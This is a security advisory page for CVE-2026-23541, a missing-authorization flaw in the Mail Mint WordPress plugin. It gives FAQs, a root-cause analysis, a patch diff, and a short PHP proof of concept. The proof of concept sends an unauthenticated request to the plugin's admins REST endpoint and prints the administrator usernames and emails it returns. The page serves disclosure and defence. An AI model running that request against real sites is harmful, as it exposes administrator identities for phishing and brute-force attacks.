What is CVE-2026-23541?

CVE-2026-23541 is a medium severity vulnerability in the Mail Mint plugin for WordPress, affecting versions up to and including 1.19.4. It is caused by a missing authorization check in a REST API endpoint, allowing unauthenticated attackers to access sensitive administrator user data.

How does the vulnerability work?

The vulnerability allows attackers to send a simple HTTP GET request to the endpoint ‘/wp-json/mailmint/v1/admins’ without any authentication. This returns a JSON array containing sensitive information about all WordPress administrator accounts registered with the Mail Mint plugin.

Who is affected by this vulnerability?

Any WordPress site using the Mail Mint plugin version 1.19.4 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under ‘Plugins’ to determine if they need to take action.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Mail Mint plugin installed. If it is version 1.19.4 or earlier, your site is at risk. Additionally, you can test the REST API endpoint to see if it returns administrator data without authentication.

How can I fix this vulnerability?

The vulnerability is fixed in Mail Mint version 1.19.5. Administrators should update the plugin to the latest version immediately to ensure that the authorization check is properly enforced.

What are the risks associated with this vulnerability?

Successful exploitation of this vulnerability can lead to unauthorized disclosure of sensitive information, including administrator usernames and emails. This information can facilitate targeted phishing attacks or other malicious activities against the site.

What does the CVSS score of 5.3 indicate?

A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.

What is a proof of concept (PoC) in this context?

The proof of concept provided demonstrates how an attacker can exploit the vulnerability by sending an unauthenticated request to the vulnerable endpoint. It shows the expected response, which includes sensitive administrator data, thereby illustrating the risk.

What steps can I take to mitigate risks if I cannot update immediately?

If you cannot update the Mail Mint plugin immediately, consider restricting access to the REST API endpoint using firewall rules or security plugins that limit access based on user roles. Additionally, monitor your site for any suspicious activity.

Is there a way to monitor for exploitation attempts?

Yes, you can set up logging for REST API requests and monitor access logs for unusual activity, such as repeated requests to the vulnerable endpoint. Security plugins may also provide alerting mechanisms for suspicious behavior.

What should I do if I suspect my site has been compromised?

If you suspect that your site has been compromised, immediately change all administrator passwords, review user accounts for unauthorized access, and check for any unusual activity in your site logs. It may also be advisable to restore from a clean backup.

Where can I find more information about this vulnerability?

More information about CVE-2026-23541 can be found in security advisories from WordPress and the official CVE database. Additionally, the Atomic Edge analysis provides detailed technical insights into the vulnerability.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-23541: Mail Mint <= 1.19.4 – Missing Authorization (mail-mint)

CVE ID CVE-2026-23541

Plugin mail-mint

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 1.19.4

Patched Version 1.19.5

Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-23541:
The Mail Mint WordPress plugin version 1.19.4 and earlier contains a missing authorization vulnerability in its REST API endpoint for retrieving administrator users. This flaw allows unauthenticated attackers to access sensitive administrative user data.

Atomic Edge research identifies the root cause in the `WPRoute.php` file. The plugin registers a REST route at `/wp-json/mailmint/v1/admins`. The route’s `permission_callback` is set to `’__return_true’` (line 149 in the diff), which grants access to any request regardless of authentication status. The callback function `get_admins` in the associated controller lacks any internal capability check.

An attacker can exploit this by sending a simple HTTP GET request to the vulnerable REST endpoint. The target URL is `/wp-json/mailmint/v1/admins`. No authentication headers, cookies, or specific parameters are required. The server responds with a JSON array containing administrator user details such as IDs, emails, and usernames.

The patch changes the `permission_callback` from `’__return_true’` to `PermissionManager::current_user_can( ‘manage_options’ )` in `WPRoute.php`. This ensures the WordPress capability check executes before the `get_admins` controller method. The fix restricts endpoint access to users with the `manage_options` capability, typically only administrators. The version number in `mail-mint.php` increments to 1.19.5, and other file changes reflect build updates.

Successful exploitation leads to unauthorized information disclosure. Attackers can enumerate all WordPress administrator accounts registered with the Mail Mint plugin. This data facilitates targeted phishing campaigns, password brute-force attacks, or further privilege escalation by identifying high-value targets.

Differential between vulnerable and patched code

Code Diff

--- a/mail-mint/app/API/Routes/Admin/WPRoute.php
+++ b/mail-mint/app/API/Routes/Admin/WPRoute.php
@@ -146,7 +146,7 @@
 				array(
 					'methods'             => WP_REST_Server::READABLE,
 					'callback'            => array( $this->controller, 'get_admins' ),
-					'permission_callback' => '__return_true',
+					'permission_callback' => PermissionManager::current_user_can( 'manage_options' ),
 				),
 			)
 		);
--- a/mail-mint/app/Internal/Parser/MergeTagParser.php
+++ b/mail-mint/app/Internal/Parser/MergeTagParser.php
@@ -181,66 +181,96 @@
 				$value = $this->get_cart_abandonment_value($value_key, $default_value, $abandoned_id);
 				break;
 			case 'edd':
-				$edd_parser = new EddMergeTagParser( $value_key, $default_value, $params );
-				$value      = $edd_parser->parse_edd_merge_tag();
+				if ( class_exists( EddMergeTagParser::class ) ) {
+					$edd_parser = new EddMergeTagParser( $value_key, $default_value, $params );
+					$value      = $edd_parser->parse_edd_merge_tag();
+				}
 				break;
 			case 'edd_customer':
-				$edd_parser = new EddMergeTagParser( $value_key, $default_value, $params );
-				$value      = $edd_parser->parse_edd_customer_merge_tag();
+				if ( class_exists( EddMergeTagParser::class ) ) {
+					$edd_parser = new EddMergeTagParser( $value_key, $default_value, $params );
+					$value      = $edd_parser->parse_edd_customer_merge_tag();
+				}
 				break;
 			case 'edd_billing':
-				$edd_parser = new EddMergeTagParser( $value_key, $default_value, $params );
-				$value      = $edd_parser->parse_edd_billing_merge_tag();
+				if ( class_exists( EddMergeTagParser::class ) ) {
+					$edd_parser = new EddMergeTagParser( $value_key, $default_value, $params );
+					$value      = $edd_parser->parse_edd_billing_merge_tag();
+				}
 				break;
 			case 'wc_subscription':
-				$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
-				$value     = $wc_parser->parse_wc_subscription_merge_tag();
+				if ( class_exists( WCMergeTagParser::class ) ) {
+					$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
+					$value     = $wc_parser->parse_wc_subscription_merge_tag();
+				}
 				break;
 			case 'product':
-				$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
-				$value     = $wc_parser->parse_wc_product_merge_tag();
+				if ( class_exists( WCMergeTagParser::class ) ) {
+					$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
+					$value     = $wc_parser->parse_wc_product_merge_tag();
+				}
 				break;
 			case 'wc_shipment_tracking':
-				$params['order_id'] = $order_id;
-				$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
-				$value     = $wc_parser->parse_wc_shipment_tracking_merge_tag();
+				if ( class_exists( WCMergeTagParser::class ) ) {
+					$params['order_id'] = $order_id;
+					$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
+					$value     = $wc_parser->parse_wc_shipment_tracking_merge_tag();
+				}
 				break;
 			case 'wc_adv_shipment':
-				$params['order_id'] = $order_id;
-				$wc_parser = new WCMergeTagParser($value_key, $default_value, $params);
-				$value     = $wc_parser->parse_wc_adv_shipment_tracking_merge_tag();
+				if ( class_exists( WCMergeTagParser::class ) ) {
+					$params['order_id'] = $order_id;
+					$wc_parser = new WCMergeTagParser($value_key, $default_value, $params);
+					$value     = $wc_parser->parse_wc_adv_shipment_tracking_merge_tag();
+				}
 				break;
 			case 'review':
-				$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
-				$value     = $wc_parser->parse_wc_review_merge_tag();
+				if ( class_exists( WCMergeTagParser::class ) ) {
+					$wc_parser = new WCMergeTagParser( $value_key, $default_value, $params );
+					$value     = $wc_parser->parse_wc_review_merge_tag();
+				}
 				break;
 			case 'wc_membership':
-				$wc_parser = new WCMergeTagParser(  $value_key, $default_value, $params );
-				$value     = $wc_parser->parse_wc_membership_merge_tag();
+				if ( class_exists( WCMergeTagParser::class ) ) {
+					$wc_parser = new WCMergeTagParser(  $value_key, $default_value, $params );
+					$value     = $wc_parser->parse_wc_membership_merge_tag();
+				}
 				break;
 			case 'ld':
-				$wc_parser = new LearnDashTagParser( $value_key, $default_value, $params, $contact );
-				$value     = $wc_parser->parse_learn_dash_merge_tag();
+				if ( class_exists( LearnDashTagParser::class ) ) {
+					$wc_parser = new LearnDashTagParser( $value_key, $default_value, $params, $contact );
+					$value     = $wc_parser->parse_learn_dash_merge_tag();
+				}
 				break;
 			case 'fb_booking':
-				$fb_parser = new FBMergeTagParser($value_key, $default_value, $params);
-				$value     = $fb_parser->parse_fluent_booking_merge_tag();
+				if ( class_exists( FBMergeTagParser::class ) ) {
+					$fb_parser = new FBMergeTagParser($value_key, $default_value, $params);
+					$value     = $fb_parser->parse_fluent_booking_merge_tag();
+				}
 				break;
 			case 'fb_guest':
-				$guest_parser = new FBMergeTagParser($value_key, $default_value, $params);
-				$value        = $guest_parser->parse_fluent_booking_guest_merge_tag();
+				if ( class_exists( FBMergeTagParser::class ) ) {
+					$guest_parser = new FBMergeTagParser($value_key, $default_value, $params);
+					$value        = $guest_parser->parse_fluent_booking_guest_merge_tag();
+				}
 				break;
 			case 'fb_event':
-				$event_parser = new FBMergeTagParser($value_key, $default_value, $params);
-				$value        = $event_parser->parse_fluent_booking_event_merge_tag();
+				if ( class_exists( FBMergeTagParser::class ) ) {
+					$event_parser = new FBMergeTagParser($value_key, $default_value, $params);
+					$value        = $event_parser->parse_fluent_booking_event_merge_tag();
+				}
 				break;
 			case 'fb_host':
-				$host_parser = new FBMergeTagParser($value_key, $default_value, $params);
-				$value       = $host_parser->parse_fluent_booking_host_merge_tag();
+				if ( class_exists( FBMergeTagParser::class ) ) {
+					$host_parser = new FBMergeTagParser($value_key, $default_value, $params);
+					$value       = $host_parser->parse_fluent_booking_host_merge_tag();
+				}
 				break;
 			case 'wpfunnels':
-				$host_parser = new WPFMergeTagParser($value_key, $default_value, $params);
-				$value       = $host_parser->parse_wpf_merge_tag();
+				if ( class_exists( WPFMergeTagParser::class ) ) {
+					$host_parser = new WPFMergeTagParser($value_key, $default_value, $params);
+					$value       = $host_parser->parse_wpf_merge_tag();
+				}
 				break;
 			default:
 				$value = apply_filters('mint_merge_tag_group_callback_' . $data_key, $matches[0], $value_key, $default_value, $contact);
--- a/mail-mint/assets/admin/dist/automation_editor/index.min.asset.php
+++ b/mail-mint/assets/admin/dist/automation_editor/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-viewport'), 'version' => '15e2ec8a89ade7635787');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-a11y', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-viewport'), 'version' => '8541c8b60335d7c28117');
--- a/mail-mint/assets/admin/dist/main/index.min.asset.php
+++ b/mail-mint/assets/admin/dist/main/index.min.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-preferences'), 'version' => 'd58be174baba0dc24a1e');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-format-library', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-preferences'), 'version' => '94f98499b7b673dbbf20');
--- a/mail-mint/mail-mint.php
+++ b/mail-mint/mail-mint.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Email Marketing Automation - Mail Mint
  * Plugin URI:        https://getwpfunnels.com/email-marketing-automation-mail-mint/
  * Description:       Effortless 📧 email marketing automation tool to collect & manage leads, run email campaigns, and initiate basic email automation.
- * Version:           1.19.4
+ * Version:           1.19.5
  * Author:            WPFunnels Team
  * Author URI:        https://getwpfunnels.com/
  * License:           GPL-2.0+
@@ -36,7 +36,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'MRM_VERSION', '1.19.4' );
+define( 'MRM_VERSION', '1.19.5' );
 define( 'MAILMINT', 'mailmint' );
 define( 'MRM_DB_VERSION', '1.15.3' );
 define( 'MINT_DEV_MODE', false );
--- a/mail-mint/vendor/composer/installed.php
+++ b/mail-mint/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'coderex/code-rex-crm',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '3ee93f3573337fb74947484b14c34651a3139b8a',
+        'reference' => '17424d357dd5801268177fb4fac611443144d39e',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -22,7 +22,7 @@
         'coderex/code-rex-crm' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '3ee93f3573337fb74947484b14c34651a3139b8a',
+            'reference' => '17424d357dd5801268177fb4fac611443144d39e',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23541 - Mail Mint <= 1.19.4 - Missing Authorization

<?php
$target_url = 'https://example.com'; // Change this to the target WordPress site URL

$endpoint = '/wp-json/mailmint/v1/admins';
$url = $target_url . $endpoint;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// No authentication headers or cookies are required
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Request URL: $urln";
echo "HTTP Status: $http_coden";
echo "Response:n";
if ($response) {
    $data = json_decode($response, true);
    if (json_last_error() === JSON_ERROR_NONE) {
        print_r($data);
    } else {
        echo $response;
    }
} else {
    echo "No response received.n";
}
?>

Frequently Asked Questions

What is CVE-2026-23541?
Overview of the vulnerability
CVE-2026-23541 is a medium severity vulnerability in the Mail Mint plugin for WordPress, affecting versions up to and including 1.19.4. It is caused by a missing authorization check in a REST API endpoint, allowing unauthenticated attackers to access sensitive administrator user data.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows attackers to send a simple HTTP GET request to the endpoint ‘/wp-json/mailmint/v1/admins’ without any authentication. This returns a JSON array containing sensitive information about all WordPress administrator accounts registered with the Mail Mint plugin.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Mail Mint plugin version 1.19.4 or earlier is affected. Administrators should check their plugin version in the WordPress dashboard under ‘Plugins’ to determine if they need to take action.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Mail Mint plugin installed. If it is version 1.19.4 or earlier, your site is at risk. Additionally, you can test the REST API endpoint to see if it returns administrator data without authentication.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is fixed in Mail Mint version 1.19.5. Administrators should update the plugin to the latest version immediately to ensure that the authorization check is properly enforced.
What are the risks associated with this vulnerability?
Potential impacts of exploitation
Successful exploitation of this vulnerability can lead to unauthorized disclosure of sensitive information, including administrator usernames and emails. This information can facilitate targeted phishing attacks or other malicious activities against the site.
What does the CVSS score of 5.3 indicate?
Understanding severity levels
A CVSS score of 5.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.
What is a proof of concept (PoC) in this context?
Understanding the demonstration of the vulnerability
The proof of concept provided demonstrates how an attacker can exploit the vulnerability by sending an unauthenticated request to the vulnerable endpoint. It shows the expected response, which includes sensitive administrator data, thereby illustrating the risk.
What steps can I take to mitigate risks if I cannot update immediately?
Temporary risk management measures
If you cannot update the Mail Mint plugin immediately, consider restricting access to the REST API endpoint using firewall rules or security plugins that limit access based on user roles. Additionally, monitor your site for any suspicious activity.
Is there a way to monitor for exploitation attempts?
Setting up alerts and logging
Yes, you can set up logging for REST API requests and monitor access logs for unusual activity, such as repeated requests to the vulnerable endpoint. Security plugins may also provide alerting mechanisms for suspicious behavior.
What should I do if I suspect my site has been compromised?
Response steps for potential breaches
If you suspect that your site has been compromised, immediately change all administrator passwords, review user accounts for unauthorized access, and check for any unusual activity in your site logs. It may also be advisable to restore from a clean backup.
Where can I find more information about this vulnerability?
Resources for further details
More information about CVE-2026-23541 can be found in security advisories from WordPress and the official CVE database. Additionally, the Atomic Edge analysis provides detailed technical insights into the vulnerability.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations